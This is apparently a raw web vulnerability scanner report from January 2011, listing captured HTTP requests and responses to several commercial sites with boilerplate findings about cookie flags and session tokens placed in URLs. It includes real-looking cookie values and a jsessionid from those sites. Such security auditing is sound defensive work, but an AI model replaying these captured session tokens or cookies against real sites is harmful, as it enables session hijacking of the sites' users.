GET /jsenvconst.ashx HTTP/1.1 Host: www.bmwusa.com Connection: keep-alive Referer: https://www.bmwusa.com/Secured/Content/Forms/Login.aspx?enc=mwSSA92UKNV8IOQQODvBfnVrf6qU9VeS34q4mJ4c7s46MR9nJlvxG5Subq1kZIKK Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LK9H33C=LlItWTMXQYRZ6JknOkmjsTsNIlsgCk0BLOhnWkMKF/53WxmfXzUi2xu4wvcNH4wu; VisitorID=89326a93-bb02-4e80-bf57-0d5590e90613; s_pers=%20s_nr%3D1295637746935%7C1298229746935%3B; mbox=PC#1295637745501-300919.17#1296864738|check#true#1295655198|session#1295655081531-668160#1295656998; ASP.NET_SessionId=hwiose4551oubw55xmxold55; WK9733P=DeMPlP7IXaauBIWHUIFjXmeYE0QYEGcbzWFVkx5+pXHnkTqulbOVw2mYu/8OzEEB; NSC_CNX_21529_64.29.204.16=4f52b4193661
var WEBSITE_URL = "www.bmwusa.com"; var WEB_SERVICES_URL = "ws.bmwusa.com"; var WCF_SERVICES_URL = "ws.bmwusa.com"; var RESOURCE_SERVER_URL = "cache.bmwusa.com"; var MOBILE_URL = "m.bmwusa.com";
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /copyright-policy.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.3.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:04:43 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 16:04:43 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Last-Modified: Wed, 30 Jun 2010 18:23:53 GMT Expires: Mon, 24 Jan 2011 16:19:44 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 29391
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /network-report.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.3.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:04:44 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 16:04:43 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Last-Modified: Thu, 23 Dec 2010 04:28:12 GMT Expires: Mon, 24 Jan 2011 16:19:44 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 22161
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /network-sla.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.3.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:04:46 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 16:04:45 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 16:04:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; expires=Tue, 24-Jan-2012 16:04:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 16:04:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 16:04:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 16:04:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 16:04:46 GMT; path=/ Last-Modified: Tue, 30 Nov 1999 06:00:00 GMT Expires: Mon, 24 Jan 2011 16:19:46 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 26023
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /privacy-policy.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.3.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:04:41 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 16:04:40 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 16:04:41 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; expires=Tue, 24-Jan-2012 16:04:41 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 16:04:41 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 16:04:41 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 16:04:41 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 16:04:41 GMT; path=/ Last-Modified: Wed, 30 Jun 2010 17:55:06 GMT Expires: Mon, 24 Jan 2011 16:19:41 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 38334
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /support-sla.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.3.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:04:47 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 16:04:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 16:04:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; expires=Tue, 24-Jan-2012 16:04:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 16:04:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 16:04:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 16:04:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 16:04:47 GMT; path=/ Last-Modified: Mon, 22 Nov 2010 16:52:12 GMT Expires: Mon, 24 Jan 2011 16:19:47 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 27164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /terms-of-service.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.3.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cgi-bin/webscr HTTP/1.1 Host: www.paypal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.tuenti.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
GET /fb/a/mailverify HTTP/1.1 Host: feedburner.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=UTF-8 Date: Mon, 24 Jan 2011 15:11:47 GMT X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Set-Cookie: S=feedburner-control-panel=WUwm58oBrG3PsoODTDjQ7A; Domain=.google.com; Path=/; HttpOnly Server: GSE Expires: Mon, 24 Jan 2011 15:11:47 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html>
GET /group/joomla-commits/topics HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1020942407/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:49:27 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/106070212/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:48:16 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1088639060/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:54:59 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/112793374/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:39:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1153711873/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:58:35 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1187342870/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:09:19 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1202068108/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:50:53 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/121005439/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:59:34 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
